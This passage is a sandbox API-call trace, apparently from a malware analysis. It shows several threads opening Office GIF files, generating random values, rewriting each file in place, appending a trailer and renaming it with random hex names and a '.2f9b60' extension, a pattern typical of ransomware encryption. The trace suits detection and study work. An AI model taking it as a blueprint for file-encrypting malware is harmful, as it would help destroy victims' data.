Seed=0x3631f9f0 | out: Seed=0x3631f9f0) returned 0x989cd0e [0231.838] RtlRandomEx (in: Seed=0x3631f9f0 | out: Seed=0x3631f9f0) returned 0x2d74b9d5 [0231.838] RtlRandomEx (in: Seed=0x3631f9f0 | out: Seed=0x3631f9f0) returned 0x792e9ea1 [0231.838] RtlRandomEx (in: Seed=0x3631f9f0 | out: Seed=0x3631f9f0) returned 0x4c7295cd [0231.838] RtlRandomEx (in: Seed=0x3631f9f0 | out: Seed=0x3631f9f0) returned 0x448f6da4 [0231.838] RtlRandomEx (in: Seed=0x3631f9f0 | out: Seed=0x3631f9f0) returned 0x74d6338c [0231.838] RtlRandomEx (in: Seed=0x3631f9f0 | out: Seed=0x3631f9f0) returned 0x2d19a56a [0231.838] RtlRandomEx (in: Seed=0x3631f9f0 | out: Seed=0x3631f9f0) returned 0x7747dc85 [0231.838] RtlRandomEx (in: Seed=0x3631f9f0 | out: Seed=0x3631f9f0) returned 0x5f00c8f2 [0231.838] RtlRandomEx (in: Seed=0x3631f9f0 | out: Seed=0x3631f9f0) returned 0x12e9d179 [0231.838] RtlRandomEx (in: Seed=0x3631f9f0 | out: Seed=0x3631f9f0) returned 0x54aeb246 [0231.838] RtlRandomEx (in: Seed=0x3631f9f0 | out: Seed=0x3631f9f0) returned 0x15b55814 [0231.838] RtlRandomEx (in: Seed=0x3631f9f0 | out: Seed=0x3631f9f0) returned 0x5b970010 [0231.838] RtlRandomEx (in: Seed=0x3631f9f0 | out: Seed=0x3631f9f0) returned 0x15b55814 [0231.838] RtlRandomEx (in: Seed=0x3631f9f0 | out: Seed=0x3631f9f0) returned 0x78063b3e [0231.845] ReadFile (in: hFile=0x3354, lpBuffer=0x42957240, nNumberOfBytesToRead=0x17d, lpNumberOfBytesRead=0x3631f9f0, lpOverlapped=0x0 | out: lpBuffer=0x42957240*, lpNumberOfBytesRead=0x3631f9f0*=0x17d, lpOverlapped=0x0) returned 1 [0231.845] SetFilePointerEx (in: hFile=0x3354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.845] WriteFile (in: hFile=0x3354, lpBuffer=0x42969e90*, nNumberOfBytesToWrite=0x17d, lpNumberOfBytesWritten=0x3631f9f4, lpOverlapped=0x0 | out: lpBuffer=0x42969e90*, lpNumberOfBytesWritten=0x3631f9f4*=0x17d, lpOverlapped=0x0) returned 1 [0234.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6280 [0234.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3550 [0234.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3550) returned 1 [0234.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42969e90) returned 1 [0234.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42957240) returned 1 [0234.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504f10) returned 1 [0234.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420583d0) returned 1 [0234.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x422f3550 [0234.787] SetFilePointerEx (in: hFile=0x3354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0234.788] WriteFile (in: hFile=0x3354, lpBuffer=0x431e16e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3631fb10, lpOverlapped=0x0 | out: lpBuffer=0x431e16e0*, lpNumberOfBytesWritten=0x3631fb10*=0x10a, lpOverlapped=0x0) returned 1 [0236.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62280 [0236.477] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e370 [0236.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266450 [0236.478] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266450) returned 1 [0236.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0236.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266450 [0236.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202664b0 [0236.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202664b0) returned 1 [0236.480] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e370) returned 1 [0236.481] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62280) returned 1 [0236.481] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5dc70 [0236.481] sprintf (in: _Dest=0x1ce5dc70, _Format="%c%c" | out: _Dest="0d") returned 2 [0236.481] sprintf (in: _Dest=0x1ce5dc72, _Format="%c%c" | out: _Dest="0b") returned 2 [0236.481] sprintf (in: _Dest=0x1ce5dc74, _Format="%c%c" | out: _Dest="6a") returned 2 [0236.481] sprintf (in: _Dest=0x1ce5dc76, _Format="%c%c" | out: _Dest="b1") returned 2 [0236.481] sprintf (in: _Dest=0x1ce5dc78, _Format="%c%c" | out: _Dest="34") returned 2 [0236.481] sprintf (in: _Dest=0x1ce5dc7a, _Format="%c%c" | out: _Dest="0b") returned 2 [0236.481] sprintf (in: _Dest=0x1ce5dc7c, _Format="%c%c" | out: _Dest="d0") returned 2 [0236.481] sprintf (in: _Dest=0x1ce5dc7e, _Format="%c%c" | out: _Dest="04") returned 2 [0236.481] sprintf (in: _Dest=0x1ce5dc80, _Format="%c%c" | out: _Dest="de") returned 2 [0236.481] sprintf (in: _Dest=0x1ce5dc82, _Format="%c%c" | out: _Dest="98") returned 2 [0236.481] sprintf (in: _Dest=0x1ce5dc84, _Format="%c%c" | out: _Dest="aa") returned 2 [0236.481] sprintf (in: _Dest=0x1ce5dc86, _Format="%c%c" | out: _Dest="f0") returned 2 [0236.481] sprintf (in: _Dest=0x1ce5dc88, _Format="%c%c" | out: _Dest="04") returned 2 [0236.482] sprintf (in: _Dest=0x1ce5dc8a, _Format="%c%c" | out: _Dest="7f") returned 2 [0236.482] sprintf (in: _Dest=0x1ce5dc8c, _Format="%c%c" | out: _Dest="da") returned 2 [0236.482] sprintf (in: _Dest=0x1ce5dc8e, _Format="%c%c" | out: _Dest="6d") returned 2 [0236.482] sprintf (in: _Dest=0x1ce5dc90, _Format="%c%c" | out: _Dest="84") returned 2 [0236.482] sprintf (in: _Dest=0x1ce5dc92, _Format="%c%c" | out: _Dest="60") returned 2 [0236.482] sprintf (in: _Dest=0x1ce5dc94, _Format="%c%c" | out: _Dest="fc") returned 2 [0236.482] sprintf (in: _Dest=0x1ce5dc96, _Format="%c%c" | out: _Dest="b3") returned 2 [0236.482] sprintf (in: _Dest=0x1ce5dc98, _Format="%c%c" | out: _Dest="36") returned 2 [0236.482] sprintf (in: _Dest=0x1ce5dc9a, _Format="%c%c" | out: _Dest="5e") returned 2 [0236.482] sprintf (in: _Dest=0x1ce5dc9c, _Format="%c%c" | out: _Dest="7e") returned 2 [0236.482] sprintf (in: _Dest=0x1ce5dc9e, _Format="%c%c" | out: _Dest="fa") returned 2 [0236.482] RtlInitAnsiString (in: DestinationString=0x3631fb88, SourceString="0d0b6ab1340bd004de98aaf0047fda6d8460fcb3365e7efa" | out: DestinationString="0d0b6ab1340bd004de98aaf0047fda6d8460fcb3365e7efa") [0236.482] RtlAnsiStringToUnicodeString (in: DestinationString=0x3631fb58, SourceString="0d0b6ab1340bd004de98aaf0047fda6d8460fcb3365e7efa", AllocateDestinationString=1 | out: DestinationString="0d0b6ab1340bd004de98aaf0047fda6d8460fcb3365e7efa") returned 0x0 [0236.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4310f2f0 [0236.483] wcscat (in: _Dest=0x431cb120, _Source="0d0b6ab1340b" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\0d0b6ab1340b") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\0d0b6ab1340b" [0236.483] wcscat (in: _Dest=0x431cb120, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\0d0b6ab1340b.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\0d0b6ab1340b.2f9b60" [0236.483] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\0d0b6ab1340b.2f9b60", NtPathName=0x3631fb30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\0d0b6ab1340b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x430e37a0 Thread: id = 3884 os_tid = 0x1fd8 [0229.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14883_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14883_.gif")) returned 0x20 [0230.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14883_.GIF", dwFileAttributes=0x20) returned 1 [0231.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14883_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14883_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x3364 [0232.063] GetFileSizeEx (in: hFile=0x3364, lpFileSize=0x36a0fc80 | out: lpFileSize=0x36a0fc80*=324) returned 1 [0232.063] SetFilePointerEx (in: hFile=0x3364, liDistanceToMove=0x140, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.063] ReadFile (in: hFile=0x3364, lpBuffer=0x36a0fc00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x36a0fc48, lpOverlapped=0x0 | out: lpBuffer=0x36a0fc00*, lpNumberOfBytesRead=0x36a0fc48*=0x4, lpOverlapped=0x0) returned 1 [0232.064] SetFilePointerEx (in: hFile=0x3364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202677d0 [0232.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202651f0 [0232.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202678c0 [0232.064] NtQuerySystemTime (in: CurrentTime=0x36a0fb40 | out: CurrentTime=0x36a0fb40*=132462178360510000) returned 0x0 [0232.064] RtlRandomEx (in: Seed=0x36a0fb30 | out: Seed=0x36a0fb30) returned 0x1296d5b6 [0232.064] RtlRandomEx (in: Seed=0x36a0fb30 | out: Seed=0x36a0fb30) returned 0xad491d4 [0232.064] RtlRandomEx (in: Seed=0x36a0fb30 | out: Seed=0x36a0fb30) returned 0x7f42a6fe [0232.064] RtlRandomEx (in: Seed=0x36a0fb30 | out: Seed=0x36a0fb30) returned 0x26bceb60 [0232.065] RtlRandomEx (in: Seed=0x36a0fb30 | out: Seed=0x36a0fb30) returned 0x78ac2928 [0232.065] RtlRandomEx (in: Seed=0x36a0fb30 | out: Seed=0x36a0fb30) returned 0x3f70b745 [0232.065] RtlRandomEx (in: Seed=0x36a0fb30 | out: Seed=0x36a0fb30) returned 0x793afbf5 [0232.065] RtlRandomEx (in: Seed=0x36a0fb30 | out: Seed=0x36a0fb30) returned 0x38d49988 [0232.065] RtlRandomEx (in: Seed=0x36a0fb30 | out: Seed=0x36a0fb30) returned 0x6e67e83 [0232.065] RtlRandomEx (in: Seed=0x36a0fb30 | out: Seed=0x36a0fb30) returned 0x7c95d078 [0232.065] RtlRandomEx (in: Seed=0x36a0fb30 | out: Seed=0x36a0fb30) returned 0x4a27aecb [0232.065] RtlRandomEx (in: Seed=0x36a0fb30 | out: Seed=0x36a0fb30) returned 0x4929ae32 [0232.065] RtlRandomEx (in: Seed=0x36a0fb30 | out: Seed=0x36a0fb30) returned 0x3d775742 [0232.065] RtlRandomEx (in: Seed=0x36a0fb30 | out: Seed=0x36a0fb30) returned 0x72cdd731 [0232.065] RtlRandomEx (in: Seed=0x36a0fb30 | out: Seed=0x36a0fb30) returned 0x2b665796 [0232.065] RtlRandomEx (in: Seed=0x36a0fb30 | out: Seed=0x36a0fb30) returned 0x548ae423 [0232.065] RtlRandomEx (in: Seed=0x36a0fb30 | out: Seed=0x36a0fb30) returned 0x5b11c035 [0232.065] RtlRandomEx (in: Seed=0x36a0fb30 | out: Seed=0x36a0fb30) returned 0x434cd9f5 [0232.065] RtlRandomEx (in: Seed=0x36a0fb30 | out: Seed=0x36a0fb30) returned 0x4565907e [0232.065] RtlRandomEx (in: Seed=0x36a0fb30 | out: Seed=0x36a0fb30) returned 0x23e50a61 [0232.065] RtlRandomEx (in: Seed=0x36a0fb30 | out: Seed=0x36a0fb30) returned 0x5a1b852d [0232.065] RtlRandomEx (in: Seed=0x36a0fb30 | out: Seed=0x36a0fb30) returned 0x41d7b18e [0232.065] RtlRandomEx (in: Seed=0x36a0fb30 | out: Seed=0x36a0fb30) returned 0x6df60b51 [0232.065] RtlRandomEx (in: Seed=0x36a0fb30 | out: Seed=0x36a0fb30) returned 0x6ea6e742 [0232.065] RtlRandomEx (in: Seed=0x36a0fb30 | out: Seed=0x36a0fb30) returned 0x3943d58b [0232.065] RtlRandomEx (in: Seed=0x36a0fb30 | out: Seed=0x36a0fb30) returned 0x12e54da9 [0232.065] RtlRandomEx (in: Seed=0x36a0fb30 | out: Seed=0x36a0fb30) returned 0xba7105b [0232.065] RtlRandomEx (in: Seed=0x36a0fb30 | out: Seed=0x36a0fb30) returned 0x539cf06e [0232.065] RtlRandomEx (in: Seed=0x36a0fb30 | out: Seed=0x36a0fb30) returned 0x79da4878 [0232.065] RtlRandomEx (in: Seed=0x36a0fb30 | out: Seed=0x36a0fb30) returned 0x6d1254ab [0232.065] RtlRandomEx (in: Seed=0x36a0fb30 | out: Seed=0x36a0fb30) returned 0x30ff33f9 [0232.065] RtlRandomEx (in: Seed=0x36a0fb30 | out: Seed=0x36a0fb30) returned 0x5f7daf32 [0232.072] ReadFile (in: hFile=0x3364, lpBuffer=0x2047f2a0, nNumberOfBytesToRead=0x144, lpNumberOfBytesRead=0x36a0fb30, lpOverlapped=0x0 | out: lpBuffer=0x2047f2a0*, lpNumberOfBytesRead=0x36a0fb30*=0x144, lpOverlapped=0x0) returned 1 [0232.073] SetFilePointerEx (in: hFile=0x3364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.073] WriteFile (in: hFile=0x3364, lpBuffer=0x4300e500*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x36a0fb34, lpOverlapped=0x0 | out: lpBuffer=0x4300e500*, lpNumberOfBytesWritten=0x36a0fb34*=0x144, lpOverlapped=0x0) returned 1 [0235.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f880 [0235.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860900 [0235.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860900) returned 1 [0235.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4300e500) returned 1 [0235.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2047f2a0) returned 1 [0235.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0235.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059290) returned 1 [0235.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b860900 [0235.512] SetFilePointerEx (in: hFile=0x3364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0235.512] WriteFile (in: hFile=0x3364, lpBuffer=0x42c14990*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x36a0fc50, lpOverlapped=0x0 | out: lpBuffer=0x42c14990*, lpNumberOfBytesWritten=0x36a0fc50*=0x10a, lpOverlapped=0x0) returned 1 [0236.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bed0 [0236.778] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504f90 [0236.778] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267a40 [0236.779] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267a40) returned 1 [0236.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0236.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267a40 [0236.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267650 [0236.780] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267650) returned 1 [0236.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504f90) returned 1 [0236.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bed0) returned 1 [0236.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5d9b0 [0236.781] sprintf (in: _Dest=0x1ce5d9b0, _Format="%c%c" | out: _Dest="e9") returned 2 [0236.781] sprintf (in: _Dest=0x1ce5d9b2, _Format="%c%c" | out: _Dest="05") returned 2 [0236.782] sprintf (in: _Dest=0x1ce5d9b4, _Format="%c%c" | out: _Dest="fa") returned 2 [0236.782] sprintf (in: _Dest=0x1ce5d9b6, _Format="%c%c" | out: _Dest="37") returned 2 [0236.782] sprintf (in: _Dest=0x1ce5d9b8, _Format="%c%c" | out: _Dest="dd") returned 2 [0236.782] sprintf (in: _Dest=0x1ce5d9ba, _Format="%c%c" | out: _Dest="a2") returned 2 [0236.782] sprintf (in: _Dest=0x1ce5d9bc, _Format="%c%c" | out: _Dest="cc") returned 2 [0236.782] sprintf (in: _Dest=0x1ce5d9be, _Format="%c%c" | out: _Dest="e4") returned 2 [0236.782] sprintf (in: _Dest=0x1ce5d9c0, _Format="%c%c" | out: _Dest="e0") returned 2 [0236.782] sprintf (in: _Dest=0x1ce5d9c2, _Format="%c%c" | out: _Dest="88") returned 2 [0236.782] sprintf (in: _Dest=0x1ce5d9c4, _Format="%c%c" | out: _Dest="4c") returned 2 [0236.782] sprintf (in: _Dest=0x1ce5d9c6, _Format="%c%c" | out: _Dest="33") returned 2 [0236.782] sprintf (in: _Dest=0x1ce5d9c8, _Format="%c%c" | out: _Dest="e9") returned 2 [0236.782] sprintf (in: _Dest=0x1ce5d9ca, _Format="%c%c" | out: _Dest="b4") returned 2 [0236.782] sprintf (in: _Dest=0x1ce5d9cc, _Format="%c%c" | out: _Dest="79") returned 2 [0236.782] sprintf (in: _Dest=0x1ce5d9ce, _Format="%c%c" | out: _Dest="44") returned 2 [0236.782] sprintf (in: _Dest=0x1ce5d9d0, _Format="%c%c" | out: _Dest="1c") returned 2 [0236.782] sprintf (in: _Dest=0x1ce5d9d2, _Format="%c%c" | out: _Dest="7d") returned 2 [0236.782] sprintf (in: _Dest=0x1ce5d9d4, _Format="%c%c" | out: _Dest="37") returned 2 [0236.782] sprintf (in: _Dest=0x1ce5d9d6, _Format="%c%c" | out: _Dest="62") returned 2 [0236.782] sprintf (in: _Dest=0x1ce5d9d8, _Format="%c%c" | out: _Dest="b2") returned 2 [0236.782] sprintf (in: _Dest=0x1ce5d9da, _Format="%c%c" | out: _Dest="61") returned 2 [0236.782] sprintf (in: _Dest=0x1ce5d9dc, _Format="%c%c" | out: _Dest="a4") returned 2 [0236.782] sprintf (in: _Dest=0x1ce5d9de, _Format="%c%c" | out: _Dest="fc") returned 2 [0236.782] RtlInitAnsiString (in: DestinationString=0x36a0fcc8, SourceString="e905fa37dda2cce4e0884c33e9b479441c7d3762b261a4fc" | out: DestinationString="e905fa37dda2cce4e0884c33e9b479441c7d3762b261a4fc") [0236.782] RtlAnsiStringToUnicodeString (in: DestinationString=0x36a0fc98, SourceString="e905fa37dda2cce4e0884c33e9b479441c7d3762b261a4fc", AllocateDestinationString=1 | out: DestinationString="e905fa37dda2cce4e0884c33e9b479441c7d3762b261a4fc") returned 0x0 [0236.782] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4310f9f0 [0236.783] wcscat (in: _Dest=0x431cba80, _Source="e905fa37dda2" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\e905fa37dda2") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\e905fa37dda2" [0236.783] wcscat (in: _Dest=0x431cba80, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\e905fa37dda2.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\e905fa37dda2.2f9b60" [0236.783] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\e905fa37dda2.2f9b60", NtPathName=0x36a0fc70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\e905fa37dda2.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x202792b0 Thread: id = 3885 os_tid = 0x1fe0 [0229.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14996_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14996_.gif")) returned 0x20 [0230.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14996_.GIF", dwFileAttributes=0x20) returned 1 [0231.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14996_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14996_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x3368 [0232.095] GetFileSizeEx (in: hFile=0x3368, lpFileSize=0x375af7e0 | out: lpFileSize=0x375af7e0*=727) returned 1 [0232.095] SetFilePointerEx (in: hFile=0x3368, liDistanceToMove=0x2d3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.095] ReadFile (in: hFile=0x3368, lpBuffer=0x375af760, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x375af7a8, lpOverlapped=0x0 | out: lpBuffer=0x375af760*, lpNumberOfBytesRead=0x375af7a8*=0x4, lpOverlapped=0x0) returned 1 [0232.128] SetFilePointerEx (in: hFile=0x3368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.128] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202675c0 [0232.128] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267350 [0232.128] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266870 [0232.128] NtQuerySystemTime (in: CurrentTime=0x375af6a0 | out: CurrentTime=0x375af6a0*=132462178361290000) returned 0x0 [0232.129] RtlRandomEx (in: Seed=0x375af690 | out: Seed=0x375af690) returned 0x1d8a4516 [0232.129] RtlRandomEx (in: Seed=0x375af690 | out: Seed=0x375af690) returned 0x7d1f6617 [0232.129] RtlRandomEx (in: Seed=0x375af690 | out: Seed=0x375af690) returned 0x285f0b46 [0232.129] RtlRandomEx (in: Seed=0x375af690 | out: Seed=0x375af690) returned 0x16c22a3e [0232.129] RtlRandomEx (in: Seed=0x375af690 | out: Seed=0x375af690) returned 0x4dd5b2ad [0232.129] RtlRandomEx (in: Seed=0x375af690 | out: Seed=0x375af690) returned 0x63cf47b4 [0232.129] RtlRandomEx (in: Seed=0x375af690 | out: Seed=0x375af690) returned 0x35e629a8 [0232.129] RtlRandomEx (in: Seed=0x375af690 | out: Seed=0x375af690) returned 0x1edbd6de [0232.129] RtlRandomEx (in: Seed=0x375af690 | out: Seed=0x375af690) returned 0x6df60b51 [0232.129] RtlRandomEx (in: Seed=0x375af690 | out: Seed=0x375af690) returned 0x624a8bdc [0232.129] RtlRandomEx (in: Seed=0x375af690 | out: Seed=0x375af690) returned 0x42fc1774 [0232.129] RtlRandomEx (in: Seed=0x375af690 | out: Seed=0x375af690) returned 0x35d111ec [0232.129] RtlRandomEx (in: Seed=0x375af690 | out: Seed=0x375af690) returned 0x3e0460a1 [0232.129] RtlRandomEx (in: Seed=0x375af690 | out: Seed=0x375af690) returned 0x5d5efeda [0232.129] RtlRandomEx (in: Seed=0x375af690 | out: Seed=0x375af690) returned 0xb3cb49c [0232.129] RtlRandomEx (in: Seed=0x375af690 | out: Seed=0x375af690) returned 0x7c95d078 [0232.129] RtlRandomEx (in: Seed=0x375af690 | out: Seed=0x375af690) returned 0x271bdc28 [0232.129] RtlRandomEx (in: Seed=0x375af690 | out: Seed=0x375af690) returned 0x4fdf69fe [0232.129] RtlRandomEx (in: Seed=0x375af690 | out: Seed=0x375af690) returned 0x6534d254 [0232.129] RtlRandomEx (in: Seed=0x375af690 | out: Seed=0x375af690) returned 0x1d34f3a0 [0232.129] RtlRandomEx (in: Seed=0x375af690 | out: Seed=0x375af690) returned 0xad491d4 [0232.129] RtlRandomEx (in: Seed=0x375af690 | out: Seed=0x375af690) returned 0x4b0a741f [0232.129] RtlRandomEx (in: Seed=0x375af690 | out: Seed=0x375af690) returned 0x4137c5c [0232.129] RtlRandomEx (in: Seed=0x375af690 | out: Seed=0x375af690) returned 0x16da374c [0232.129] RtlRandomEx (in: Seed=0x375af690 | out: Seed=0x375af690) returned 0x75ea50ec [0232.129] RtlRandomEx (in: Seed=0x375af690 | out: Seed=0x375af690) returned 0xa131ce1 [0232.129] RtlRandomEx (in: Seed=0x375af690 | out: Seed=0x375af690) returned 0x4dbd7aad [0232.129] RtlRandomEx (in: Seed=0x375af690 | out: Seed=0x375af690) returned 0x59510863 [0232.129] RtlRandomEx (in: Seed=0x375af690 | out: Seed=0x375af690) returned 0x24458f6d [0232.129] RtlRandomEx (in: Seed=0x375af690 | out: Seed=0x375af690) returned 0x548ae423 [0232.129] RtlRandomEx (in: Seed=0x375af690 | out: Seed=0x375af690) returned 0x7a5c79b8 [0232.129] RtlRandomEx (in: Seed=0x375af690 | out: Seed=0x375af690) returned 0x3da57c9b [0232.137] ReadFile (in: hFile=0x3368, lpBuffer=0x202db560, nNumberOfBytesToRead=0x2d7, lpNumberOfBytesRead=0x375af690, lpOverlapped=0x0 | out: lpBuffer=0x202db560*, lpNumberOfBytesRead=0x375af690*=0x2d7, lpOverlapped=0x0) returned 1 [0232.137] SetFilePointerEx (in: hFile=0x3368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.137] WriteFile (in: hFile=0x3368, lpBuffer=0x202e6990*, nNumberOfBytesToWrite=0x2d7, lpNumberOfBytesWritten=0x375af694, lpOverlapped=0x0 | out: lpBuffer=0x202e6990*, lpNumberOfBytesWritten=0x375af694*=0x2d7, lpOverlapped=0x0) returned 1 [0235.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f490 [0235.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd60 [0235.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fd60) returned 1 [0235.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202e6990) returned 1 [0235.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202db560) returned 1 [0235.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505490) returned 1 [0235.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059560) returned 1 [0235.531] RtlAllocateHeap 